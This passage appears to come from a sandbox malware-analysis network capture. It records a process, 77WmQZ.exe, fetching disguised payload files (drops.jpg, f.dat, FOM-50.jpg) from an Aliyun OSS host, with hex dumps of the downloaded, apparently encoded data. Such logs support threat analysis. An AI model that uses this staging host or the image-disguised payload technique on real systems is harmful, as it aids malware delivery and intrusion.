2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 60 ac ac 35 eb 8c 53 a0 c0 4c c6 65 70 e3 80 61 e5 a0 15 6f ea 6d 4c c6 65 70 e0 a9 61 e8 ad 8c 06 a5 b0 fd 63 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 ac 2a e8 6b b5 1c 68 ea 8a e0 6b ad 1c 08 f5 e2 e0 e0 6b a5 e8 b0 6b ad 1c 08 a9 e1 e0 e0 6b a5 1c 6b 45 fd 62 a8 a0 f5 2b 4c f1 29 ed 5c ca a1 2b ed 5c 48 4f a1 a0 a0 2b 45 fd 63 6c 6c 6c 6c 6c 6c ac ac ac ac ac 35 eb 8c 31 e9 2d 9c ea 25 68 30 0a 61 eb 2d 9c 88 eb 60 60 60 eb 85 3d a2 64 60 6c 6c 6c 6c 6c f5 2b 4c f1 29 ed 5c 2b e5 5c 2b e8 a8 9b ed a8 d7 a5 48 c2 c9 a1 a0 2b ed 5c 48 f1 e1 e0 e0 6b b5 1c 6b a2 e4 e3 a5 e8 6b 05 bd 22 e4 e0 2c 2c b5 6b 0c 63 0c e8 69 ad 1c 6b a5 5c 23 d8 a4 a0 d5 aa 48 c9 a1 a0 a0 29 e5 58 4b a9 2b ed 5c 2b f1 a4 29 f5 58 2b e5 58 2b 45 fd a3 Data Ascii: `5SLepaomLepacllllllllllllll+L)\+*khkkkkkEb+L)\+\HO+Ecllllll51-%h0a-```=d`lllll+L)\+\+H+\Hkkk",,kcik\#H)XK+\+)X+X+E
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: 62 e3 98 1d 15 6a a7 65 0c 94 62 70 60 60 60 60 e3 5d 0c 94 62 70 60 14 41 08 12 74 60 60 5f b5 6c d2 a2 b0 2b 2d 44 5e 5f 5f 48 7c 5c 5f 5f 2b 2d 44 5e 5f 5f 48 ff 5d 5f 5f 2b ed 54 c4 69 ed e0 e0 e0 e0 bf be bb 6b 05 bd 22 e8 e0 2c 2c 2c 2c 2c 2c b5 6b 0c b1 69 ad 1c 6b ad 1c 08 23 5c 5f 5f 2b e5 a8 23 40 a1 25 60 d4 ac 2b ed 5c f1 48 53 3e a0 a0 23 64 a4 2b e5 5c 2b 45 fd a2 64 60 ac ac 35 eb 8c 88 67 60 60 60 88 71 60 60 60 3d a3 35 eb 8c d9 ad 2c 65 70 88 75 3c 61 a0 fd 63 f5 2b 4c c8 f0 d7 a0 b0 48 10 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6d ec a5 b0 48 d3 fd e1 e0 bd 23 b5 6b 0c 08 e7 e0 e0 e0 08 f1 e0 e0 e0 bd 23 b5 6b 0c 59 2c ac e5 f0 08 30 89 e1 e0 fd 63 f5 2b 4c c8 2f d7 a0 b0 48 d1 0d a0 a0 23 64 a4 fd 63 f5 2b 4c 19 6c ec a5 b0 48 90 cb a1 60 Data Ascii: bjebp````]bp`At``_l+-D^__H\|\__+-D^__H]__+Tik",,,,,,kik#\__+#@%`+\HS>#d+\+Ed`5g```q```=5,epu<ac+LH#dc+LmH#k#kY,0c+L/H#dc+LlH`
2025-01-15 03:23:39 UTC	4096	IN	Data Raw: eb 25 d0 30 9f 75 4c 10 62 70 eb 2d f8 e9 2d e4 eb 35 d0 32 9f 75 84 12 62 70 eb 25 cc 30 5f b5 44 d2 a2 b0 2b ed 24 29 ed 18 4b a7 67 e5 18 a0 a0 a0 a0 23 dd 14 a0 d4 aa 2b f5 14 f2 5f f5 ec 92 e2 f0 6b a5 58 6b 05 bd 23 b5 6b 0c 61 0c 7c e5 e0 e0 88 df 68 e0 f0 88 50 3d e4 f0 1f b5 80 d0 a2 b0 03 54 ed a5 b0 67 a5 58 ed a5 b0 80 a0 a0 a0 67 a5 a0 ee a5 b0 a7 a0 a0 a0 67 a5 64 2e 65 70 60 60 60 60 a7 65 70 2e 65 70 b0 67 60 60 a7 65 6c 2e 65 70 61 60 60 60 a7 65 9c 2d a5 b0 a2 a0 a0 a0 c8 58 ed a5 b0 01 54 ed a5 b0 f0 5f b5 c4 d0 a2 b0 67 a5 ac ee a5 b0 a0 a0 a0 e0 88 14 e1 e0 e0 1f f5 2c 92 e2 f0 27 65 8c 1f 1f 1f 74 e0 e0 e0 6d 6d 8c 1f 1f 1f b1 1f f5 f8 d2 a2 b0 23 1d d0 5f 5f 5f a6 d3 96 67 a5 5c ed a5 b0 a4 a0 a0 a0 c8 58 ed a5 b0 2b b5 54 ed a5 70 Data Ascii: %0uLbp--52ubp%0_D+$)Kg#+_kXk#ka\|hP=TgXggd.ep````ep.epg``el.epa```e-XT_g,'etmm#___g\X+Tp

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	64547	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:41 UTC	114	OUT	GET /drops.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:42 UTC	545	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:42 GMT Content-Type: image/jpeg Content-Length: 37274 Connection: close x-oss-request-id: 67872A3EE20C8C34344A5684 Accept-Ranges: bytes ETag: "6D4DEB9526F3973DE0F9DCE9392F8EA7" Last-Modified: Wed, 23 Oct 2024 04:47:27 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 9193697774326766004 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: bU3rlSbzlz3g+dzpOS+Opw== x-oss-server-time: 3
2025-01-15 03:23:42 UTC	3551	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 9a 9c 18 00 00 20 00 49 44 41 54 78 9c ed 9d 0b f8 6e e5 94 c0 97 91 14 26 45 21 4a 7f 25 4d 17 94 22 b9 cc 39 85 12 8d 90 2e 22 a7 9b 88 48 11 a9 4c 87 92 90 a4 d1 4c 49 3a 88 29 a1 90 4b 37 c2 14 21 83 34 51 f8 1f f7 7b ee cc 64 cc cc fe b5 ff 5b df f9 e6 fb fe df 5a 7b bf b7 ef db eb f7 3c eb 79 3c 39 ff 6f af fd ee 77 af fd be eb 5d 17 11 c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 71 1c c7 cc 1a 95 ac 33 25 b2 46 a4 31 70 9c de 72 44 25 ff 3b 25 72 44 a4 31 70 9c de e2 06 c0 71 7a 8c 1b 00 c7 e9 31 Data Ascii: PNGIHDR\rfpHYs IDATxn&E!J%M"9."HLLI:)K7!4Q{d[Z{<y<9ow]qqqqqqqqqqqqqqqqq3%F1prD%;%rD1pqz1
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: b8 15 4d f0 da 0b 73 29 d8 06 f6 9f 9a 49 70 40 2e 05 0b 01 87 5f 9b 3d 3f fb 46 f6 f7 6d f6 f6 a1 c1 89 8a 9f a0 4d d0 15 3e 81 52 1c 83 39 a1 dc d8 a4 b1 fa 64 36 ed 8c e0 b1 d4 38 8c b0 7a eb 66 d2 b1 04 38 ea 6b e3 ed c7 43 bf 5d 06 7d 27 41 5d 01 4b 93 95 46 38 1d 28 e9 88 30 07 7c dd 35 db 80 d2 93 d3 6e 43 db 93 ed f2 5c 0a 16 82 a5 2d 59 23 ef 97 b2 7d 26 78 b5 3f 28 f6 fb 7a 57 0e 65 0b 82 17 5b 53 7b f0 79 b9 14 b4 a0 ad c2 72 68 2e 05 0b e0 b9 62 7f 49 e8 29 37 0d b5 09 f0 0d d0 e7 ce 7a 7f 7d df 0e 5e 2d 93 c7 e8 b2 6c da 29 21 c0 42 13 40 32 75 5e cd 80 10 db 6f e9 43 c0 76 ea a8 2c 9a 76 83 c0 2a 4b ec 00 01 61 a5 e5 0e a4 84 90 df 49 63 c4 b6 79 52 ad 81 ac 68 3b ec 7c 36 97 82 05 40 a5 18 cb 97 71 1a 5f fe 06 8c 80 e5 5e 2f cd a3 66 11 cc Data Ascii: Ms)Ip@._=?FmM>R9d68zf8kC]}'A]KF8(0\|5nC\-Y#}&x?(zWe[S{yrh.bI)7z}^-l)!B@2u^oCv,v*KaIcyRh;\|6@q_^/f
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: d0 62 92 23 02 8f d8 7f 4b bb b9 f3 33 e8 e8 18 58 21 b6 49 77 40 06 1d 49 05 fd 8a 51 4f 8d b0 a7 bd 48 ea b2 d6 31 a1 a4 5b a8 ba 8e 83 f2 1b b1 75 d9 0d 05 45 38 2d 4d 44 3c 3c bc 50 38 4a b3 4c b8 f7 e5 51 53 4e 37 e8 d8 46 62 27 2f 59 92 6b ac 92 2b 02 ef 30 83 8e 18 8b 99 af dc 3b 6d 6c 22 f5 17 44 fb 10 73 ed e7 ac f9 08 7d 33 00 48 ae 08 bc 8b 0c 3a d2 fd b7 34 1f 4c 6f a1 21 c4 e7 45 ff f0 08 f5 dd 21 83 9e d6 7c 84 be 1a 80 5c 11 78 d6 50 e1 7f ce a0 a3 33 82 53 c5 36 c1 5e 9e 41 47 1c 74 57 18 f5 ec ab 01 40 7e 5a c9 7d 22 df c7 28 1e 2b b6 c8 d1 7d 32 e8 e8 0c f0 64 b1 2d a9 2f 93 3c 51 5d c7 19 74 ec da 9c 72 16 0c 00 42 6f be 1c 11 91 96 f6 75 d4 1d dc 28 83 8e 8e d4 c7 50 3f 13 db a4 3a 53 d2 3b 99 c8 2c fc b3 41 c7 fd a5 3e 9a c4 68 7c d5 Data Ascii: b#K3X!Iw@IQOH1[uE8-MD<<P8JLQSN7Fb'/Yk+0;ml"Ds}3H:4Lo!E!\|\xP3S6^AGtW@~Z}"(+}2d-/<Q]trBou(P?:S;,A>h\|
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 72 b8 f8 65 fd f3 08 c8 16 67 54 0d cf 0b 6c 41 02 c8 a0 55 06 c4 14 75 72 5c ea 55 d3 97 57 dd f2 5b 5c 5d 16 d4 24 45 4a 6c da 65 e3 a7 67 ed f2 6b 6c 6d 26 e4 34 55 52 7c ca 75 f5 8f 39 05 67 33 f7 39 5a 5f 8f 3f 82 00 7c df f9 97 c0 02 ce af ac 82 30 8f 13 59 b2 1a 90 b1 7d 9c d0 12 de bf bc 92 20 9f 29 a5 86 eb 2f e1 82 8f a7 17 aa 28 54 ec d2 b1 f8 3a f6 97 9c ba 08 b7 3b 41 e0 c4 ad f5 35 fb e4 e9 cd 7d c4 46 0e e7 41 8d ee cf 27 c1 86 44 94 f5 fa dc 6a d5 5f 93 fc dd d5 6d d8 f9 d1 69 ac c5 e6 d8 25 90 f9 af 63 ad ce cb a4 12 2e a7 79 b5 d6 d3 bc 7e b2 d3 d0 b1 05 3b b4 74 ba db 28 e8 4a fc fb fa 4e 8c 4c 2d 2a 04 b2 0d 8d f7 51 6d 0c 5b 9f 51 32 37 17 a7 1a 98 e4 47 61 0e 68 aa 66 07 04 2a 98 27 ab e1 0a a2 68 09 26 c4 3c 79 b9 77 10 15 39 89 38 Data Ascii: regTlAUur\UW[\]$EJlegklm&4UR\|u9g39Z_?\|0Y} )/(T:;A5}FA'Dj_mi%c.y~;t(JNL-Qm[Q27Gahf'h&<yw98
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 8a 3b 3c 3d ae 77 c1 85 4a 42 44 45 85 8b 84 85 86 87 80 81 82 83 18 d0 be db 56 55 56 91 1c 7d 2a 68 9a 19 7a 2e 56 a7 26 47 16 55 a0 23 4c 1a 1e ad 28 49 1a 1d b6 35 56 06 15 b3 32 53 0e 00 bc 3f 58 0a 50 b9 c4 a5 fa e6 42 c1 a2 fe f0 4f ce af f6 e8 48 cb b4 ea 92 55 d0 b1 d6 a4 5e dd be da aa 5b da bb e2 91 64 e7 80 e6 d5 61 ec 8d ee cf 6a e9 8a ea 9e 77 f6 97 f2 d0 70 f3 9c fe c2 7d f8 99 f6 da 06 85 e6 8a c4 03 42 e3 48 c9 ca cb ff 0b 4a eb 51 d1 d2 d3 e2 13 52 f3 5a d9 da db ec 1b 5a fb 63 e1 e2 e3 97 23 62 c3 6c e9 ea eb 8d 2b 6a cb 75 f1 f2 f3 92 33 72 d3 7e f9 fa fb 99 3b 7a db 87 01 02 03 2a c3 82 23 80 09 0a 0b 69 cb 8a 2b 99 11 12 13 6c d3 92 33 92 19 1a 1b 79 db 9a 3b ab 21 22 23 24 e3 62 03 08 42 ec 6f 08 0c 4b e9 74 15 10 41 f2 71 12 14 56 Data Ascii: ;<=wJBDEVUV}hz.V&GU#L(I5V2S?XPBOHU^[dajwp}BHJQRZZc#bl+ju3r~;z#i+l3y;!"#$bBoKtAqV
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 3e 1f 74 b6 72 1b 60 09 41 8b 0c ce 87 0f c3 45 6e 03 c7 19 6a 67 18 52 83 1b df 9f 59 e1 51 d1 52 b0 f0 15 d5 5b 44 29 e9 2f 40 45 2e 64 a0 21 e1 aa aa 6d 6e 27 fb 35 56 53 3c f6 b2 6f bb b5 b6 b7 b0 b1 b2 b3 c8 08 d6 a7 94 cd 0f cb ac 81 c2 08 60 95 c6 04 d4 b5 b2 db 1d 91 b2 df 13 dd be b3 d4 14 da bb a8 e9 29 a7 80 aa 18 a7 2d 69 de a6 e4 26 aa 8b f8 4e 72 fb 3d b1 92 5c 50 f1 31 bf 98 f5 35 f3 e4 c9 cd 75 cd 4d ce 8f 43 cd ee 83 33 0d 86 46 d4 f5 9a 58 90 f1 de 9f 27 19 92 52 98 f9 d6 97 6b a5 c6 eb eb 5b e6 62 28 9c 24 a3 67 e9 ca 29 f0 f1 ba 78 b0 d1 d6 bf 7b 3d e2 38 30 31 32 33 44 88 46 27 1c 4d 8f 53 2c 19 42 82 40 29 06 47 93 fd 3a 5b 9f 51 32 2f 50 90 5e 3f 0c 55 95 5b 04 11 6a aa 60 01 2e ac 6c 0d 6a a2 28 09 a5 6b 14 71 cd fb bd 71 12 77 bb Data Ascii: >tr`AEnjgRYQR[D)/@E.d!mn'5VS<o`)-i&Nr=\P15uMC3FX'Rk[b($g)x{=80123DF'MS,B@)G:[Q2/P^?U[j`.lj(kqqw
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 1e 63 74 b0 aa 1b c8 41 42 43 0c c8 4b e2 8d b6 b5 a3 1c 82 b1 b0 18 d8 16 77 34 1d 91 13 7c 69 5a 5b 5c 5d 99 1b 44 49 e2 63 64 65 a1 23 4c 49 68 6b 6c 6d 2b 5c b9 34 41 b3 ce 75 76 77 38 31 f1 f7 58 cd 7e 7f 80 7e d6 a7 d4 cd 0f c3 ac c1 c2 08 f0 a9 c6 70 e4 a0 da 54 d0 b1 b6 97 98 99 9a d7 11 d1 ba df e4 2a 26 87 64 a5 a6 a7 e0 22 3e 8f 14 ad ae af f8 3a fe 97 fc 4a e2 93 e0 f1 31 f7 98 f5 41 eb e4 a1 52 8b 45 01 6e c7 c8 c9 09 07 00 01 02 03 98 58 9e f7 dc 9d 55 3b f0 91 51 9f f8 ed 96 56 a4 c5 f2 ab 23 e1 c2 18 17 16 15 a3 13 e9 ca a7 7b b5 d6 e3 bc 7e fa d3 78 c5 f2 fb 89 10 b6 74 04 25 4a 8a 40 21 0e 4f 8b 75 2e 03 0c 78 0c e4 3d 59 99 57 30 1d 5e 9c 54 3d 2a 53 1f d5 56 94 e1 2e 9c 63 db a6 de 7b 5d 3d 62 a0 68 09 26 67 bb 7d 16 03 7c 36 fe 7f b3 Data Ascii: ctABCKw4\|iZ[\]DIcde#LIhklm+\4Auvw81X~~pT&d">:J1AREnXU;QV#{~xt%J@!Ou.x=YW0^T=SV.c{]=bh&g}\|6
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 1e 03 74 be fe 27 01 f9 46 43 44 45 0e cc 98 01 c7 c7 68 a5 4e 4f 50 b9 f8 b3 ab aa 1e dc 1c 7d 62 13 df 9d 42 1e d8 69 62 63 64 2d ed b7 20 e2 e6 4f 7c 6c 6e 6f 98 fa 92 8c 8b 3d fd f3 5c 19 7b 7b 7c 35 f5 f3 a4 c9 83 83 84 cd 0f 8f c0 02 0e af ec 8c 8e 8f 1b 1d b6 77 94 95 96 1e d0 91 d2 10 18 b9 fe 9e a0 a1 ea 28 28 81 a6 a6 a8 a9 e2 22 e4 bd e6 24 34 95 d2 b2 b4 b5 3d 3b 9c 51 ba bb bc 34 f6 a7 88 4a 46 e7 a4 c4 c6 c7 80 42 46 ef dc cc ce cf 98 58 9a f3 9c 5e 52 f3 b8 d8 da db 94 5c 1a 87 e1 e1 e2 20 28 29 2a 2b 24 25 26 27 20 21 22 23 b8 78 be d7 fc bd 7d b3 dc f1 b2 70 fc b5 3f 1f 15 49 89 4f 20 0d 4e 8c 01 41 39 c3 44 86 cf 47 9b 5d 36 1b 5c 9c 17 5f 93 5d 3e 13 54 96 1e 57 e1 c9 01 6b af 69 02 2f 60 a2 23 63 1f e5 66 a4 f1 79 b9 7f 10 3d 7e be 39 Data Ascii: t'FCDEhNOP}bBibcd- O\|lno=\{{\|5w(("$4=;Q4JFBFX^R\ ()*+$%&' !"#x}p?IO NA9DG]6\_]>TWki/`#cfy=~9
2025-01-15 03:23:42 UTC	4096	IN	Data Raw: 3a 5e fa b9 1a 89 40 41 42 20 82 c1 62 f0 48 49 4a 3f 8a c9 6a f7 50 51 52 3c 92 d1 72 ee 58 59 5a 29 9a d9 7a e5 60 61 62 1a a2 e1 42 dc 68 69 6a 2a aa e9 4a d3 70 71 72 73 3c f8 e2 53 d0 79 7a 7b 34 f0 73 12 25 7e 7d 6b 9c 2a 79 78 c0 00 0e af a4 8f 8e 8f d8 1c 1e b7 c4 a7 96 97 67 0d be b3 9e 9d 9e d7 2d 2d 86 ff 91 a5 a6 4f 1c a4 aa ab e4 20 22 8b d0 87 b2 b3 5c 12 bb b7 b8 f1 37 37 98 d9 89 bf c0 29 58 ce c4 c5 8e 4a 44 ed a2 f3 cc cd 26 42 dd d1 d2 9b 59 59 f2 8b ed d9 da 33 2c d4 de df 26 65 c6 63 e4 e5 e6 a0 2e 6d ce 6a ec ed ee 8a 36 75 d6 71 f4 f5 f6 83 3e 7d de 78 fc fd fe af c6 85 26 87 04 05 06 75 ce 8d 2e 8e 0c 0d 0e 60 d6 95 36 95 14 15 16 74 de 9d 3e 9c 1c 1d 1e 7a e6 a5 06 ab 24 25 26 54 ee ad 0e a2 2c 2d 2e 5c f6 b5 16 b9 34 35 36 7f fe Data Ascii: :^@AB bHIJ?jPQR<rXYZ)z`abBhijJpqrs<Syz{4s%~}kyxg--O "\77)XJD&BYY3,&ec.mj6uq>}x&u.`6t>z$%&T,-.\456
2025-01-15 03:23:42 UTC	955	IN	Data Raw: 66 1f 34 70 0d e4 0c cc 16 67 5c 09 6d 97 05 46 08 98 29 01 c5 53 75 41 52 53 54 18 6d 84 2b 4f 3c 1a dd bf 5e af 2d ec f9 63 94 9a 99 26 ae 6a 6a 26 57 be 1b 9f 3c fa 66 57 38 fe 2a 53 70 31 f9 bf 6c be b2 b3 81 86 80 83 83 84 af 87 89 80 8b 8b 85 af 8e 8f 91 9c 93 93 99 d7 96 97 99 94 9b 9b 91 5f 9e 9f a1 ab a1 a3 ae 67 a0 d7 ad c9 aa ab ad a3 af af be 13 b2 b3 b5 bb b7 b7 b6 9b ba bb bd b1 bc bf cc c0 ff c3 c5 c2 c4 c7 cf c8 dd cb cd c4 cf cf d9 13 d2 d3 d5 d1 d7 d7 dc 3b da db dd d9 df df e4 23 e2 e3 e5 ee e4 e7 e3 e8 cb eb ed ea ec ef f7 f0 a3 f3 f5 e4 f4 f7 e9 f8 df fb fd f0 ff ff 0d 63 02 03 05 02 04 07 0f 08 21 0b 0d 09 0f 0f 14 b3 12 13 15 06 17 17 0b 3b 1a 1b 1d 0e 1f 1f 33 63 22 23 25 2b 27 27 26 6b 2a 2b 2d 23 2f 2f 3e 53 32 33 35 2d 37 37 20 Data Ascii: f4pg\mF)SuARSTm+O<^-c&jj&W<fW8Sp1l_g;#c!;3c"#%+''&k+-#//>S235-77

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.4	64564	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:44 UTC	110	OUT	GET /f.dat HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:45 UTC	558	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:44 GMT Content-Type: application/octet-stream Content-Length: 879 Connection: close x-oss-request-id: 67872A40E001B43833F623D3 Accept-Ranges: bytes ETag: "E54C4296F011EC91D935AA353C936E34" Last-Modified: Tue, 22 Oct 2024 18:02:54 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 11142793972884948456 x-oss-storage-class: Standard x-oss-ec: 0048-00000113 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 5UxClvAR7JHZNao1PJNuNA== x-oss-server-time: 3
2025-01-15 03:23:45 UTC	879	IN	Data Raw: 0f 56 0e 57 66 34 65 31 31 31 31 31 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 31 57 57 57 57 31 31 31 Data Ascii: VWf4e111111111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW1111WWWW111

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.4	64579	118.178.60.9	443	1228	C:\Users\user\Documents\77WmQZ.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 03:23:46 UTC	115	OUT	GET /FOM-50.jpg HTTP/1.1 User-Agent: GetData Host: 22mm.oss-cn-hangzhou.aliyuncs.com Cache-Control: no-cache
2025-01-15 03:23:46 UTC	546	IN	HTTP/1.1 200 OK Server: AliyunOSS Date: Wed, 15 Jan 2025 03:23:46 GMT Content-Type: image/jpeg Content-Length: 55085 Connection: close x-oss-request-id: 67872A426F8C26343237641C Accept-Ranges: bytes ETag: "DC44AE348E6A74B3A74871020FDFAC74" Last-Modified: Tue, 22 Oct 2024 14:47:46 GMT x-oss-object-type: Normal x-oss-hash-crc64ecma: 12339968747348072397 x-oss-storage-class: Standard x-oss-ec: 0048-00000105 Content-Disposition: attachment x-oss-force-download: true Content-MD5: 3ESuNI5qdLOnSHECD9+sdA== x-oss-server-time: 3
2025-01-15 03:23:46 UTC	3550	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 90 00 90 00 00 ff e1 00 5a 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 05 03 01 00 05 00 00 00 01 00 00 00 4a 03 03 00 01 00 00 00 01 00 00 00 00 51 10 00 01 00 00 00 01 01 00 00 00 51 11 00 04 00 00 00 01 00 00 16 25 51 12 00 04 00 00 00 01 00 00 16 25 00 00 00 00 00 01 86 a0 00 00 b1 8f ff db 00 43 00 02 01 01 02 01 01 02 02 02 02 02 02 02 02 03 05 03 03 03 03 03 06 04 04 03 05 07 06 07 07 07 06 07 07 08 09 0b 09 08 08 0a 08 07 07 0a 0d 0a 0a 0b 0c 0c 0c 0c 07 09 0e 0f 0d 0c 0e 0b 0c 0c 0c ff db 00 43 01 02 02 02 03 03 03 06 03 03 06 0c 08 07 08 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c 0c ff c0 00 11 08 Data Ascii: JFIFZExifMM*JQQ%Q%CC
2025-01-15 03:23:46 UTC	4096	IN	Data Raw: 7c 7b dc 41 c2 74 77 75 74 73 65 91 8f 90 91 11 ee 84 95 e3 bf 11 84 3e 34 dc 9d f4 97 48 c7 b1 a3 a4 fc 59 d2 a0 41 56 56 53 52 9d 74 f3 32 cf a3 b4 c1 be dd b0 51 f7 a8 bc bd e7 7c 28 d0 d2 c3 c4 06 4d 38 9d 42 26 a1 cc a7 ce 30 a5 d9 3a 10 2a 2a 29 54 1c d5 87 18 57 22 8b 54 0c 8b e2 89 e5 1a 93 ef 00 44 14 14 13 6e 2a e3 ad 32 98 f2 9e f5 9c f7 10 64 04 04 03 7e 3a f3 c3 6b 03 69 05 6f 06 ef 86 f7 f5 f4 8f c9 02 cc 9b ee 44 fb 09 1f 16 17 93 e9 4c f3 1d 06 1e 1f 76 c9 ae 39 24 25 70 cf c4 3a 2a 2b 7a c5 5f 35 30 31 64 db 68 2f 36 37 6e d1 7e 23 3c 3d 68 d7 be 40 42 43 12 ad 48 55 48 49 22 dc 5a 0d 4e a7 3f 58 52 53 d7 91 72 f4 54 f9 1a 5b 02 9e d5 a0 35 ea 8e 32 35 36 ed 3a 60 3f 3d 58 9a 5e 91 e6 0d 8d 49 6f 89 65 d6 37 78 0d 73 3c f5 00 82 fc 7f 96 Data Ascii: \|{Atwutse>4HYAVVSRt2Q\|(M8B&0:*)TW"TDn2d~:kioDLv9$%p:*+z_501dh/67n~#<=h@BCHUHI"ZN?XRSrT[5256:`?=X^Ioe7xs<
2025-01-15 03:23:46 UTC	4096	IN	Data Raw: 81 d9 46 b5 47 c8 2a 32 3c cc 8d d3 4c 5c f9 22 b5 d4 95 f2 68 ad 99 9a 9b 9c 16 da bb b0 28 ce 87 b4 28 ca 83 b8 82 4a f8 fa fa 0f ab 10 f1 b2 82 f1 49 85 72 e8 30 df 53 43 c8 46 34 85 3d 05 86 38 3b 39 38 37 40 8f 33 41 88 3e ab 73 d1 d2 d3 d4 16 5d 9a 28 bd 53 d6 dc dd de df b9 be bd bd bf 6e 03 ba b9 2a 26 27 20 21 22 23 3c 3d 3e 3f 38 7e 09 a2 73 15 79 17 e4 ae 75 a2 0c 57 89 70 0c 36 33 03 a8 49 0a 5c 87 0b c8 4a ef 11 d5 56 e0 14 16 17 18 94 61 0b 9f e5 e0 6b 2d aa 6c 27 27 ea 15 2b 10 c1 c9 c2 d3 d2 a5 61 3c ba 74 3b 37 fa 05 3b 00 d1 e9 d2 c3 c2 b5 7a 48 b7 02 47 22 4a c3 51 49 49 4a c0 01 5d c3 1a b8 d8 01 af df 0e 5a de 1d b1 d3 16 b0 de a5 a1 14 3e ef 2a 64 e8 62 3c e3 25 ec 7f e1 29 e8 7f f9 34 82 f8 74 fc 33 8f fd b0 0e 6f f7 aa 96 23 aa 81 Data Ascii: FG2<L\"h((JIr0SCF4=8;987@3A>s](Sn&' !"#<=>?8~syuWp63I\JVak-l''+a<t;7;zHG"JQIIJ]Z>*db<%)4t3o#
2025-01-15 03:23:46 UTC	4096	IN	Data Raw: b4 7b f0 8e 6c 82 e3 8e 63 f7 7e 71 70 c9 52 c4 f9 94 6a a3 4b 2c d9 9a 64 89 3d 1e df a0 24 62 d6 b2 4d ab 51 57 56 21 5b 53 b8 a6 2f f0 b1 e2 5b 09 40 49 48 31 bf e3 53 aa 4d 41 40 03 4a 3d 96 4f 29 4d 92 c0 9a 9c 9c ff 32 f5 18 a4 d6 59 8e d8 ee 09 a0 c6 31 03 2e 23 22 b4 c9 be 68 d2 b4 b3 b2 b1 b0 00 8b 1f 14 13 6e 2a fb 7b 37 ad ad af a8 35 7c 8d e9 c1 0c 89 fa cd 3f 66 88 00 e8 d0 8e cc 08 bf 0f 6c 82 0d 4c 4f 49 56 77 29 d4 60 16 5d 62 f6 2a da 20 c3 68 cd 79 a9 23 ca b3 d1 da d9 4d 0a 70 a3 23 a7 dc c5 9c bb ce 67 b8 d8 63 61 04 ce c6 4f 33 d4 84 23 3f 40 ca ba 1a c1 ba 33 60 71 4c 36 fd 0c 4d 38 50 06 ae 47 1f d4 15 56 da de b1 59 5b 5c 66 5b 23 d6 21 62 15 67 e6 ae 98 e3 99 e9 93 93 18 a4 e4 b7 2e 2c 2e b7 fe 89 22 f3 95 2c 2c 4f 8b 14 7f 7f f4 Data Ascii: {lc~qpRjK,d=$bMQWV![S/[@IH1SMA@J=O)M2Y1.#"hn{75\|?flLOIVw)`]b 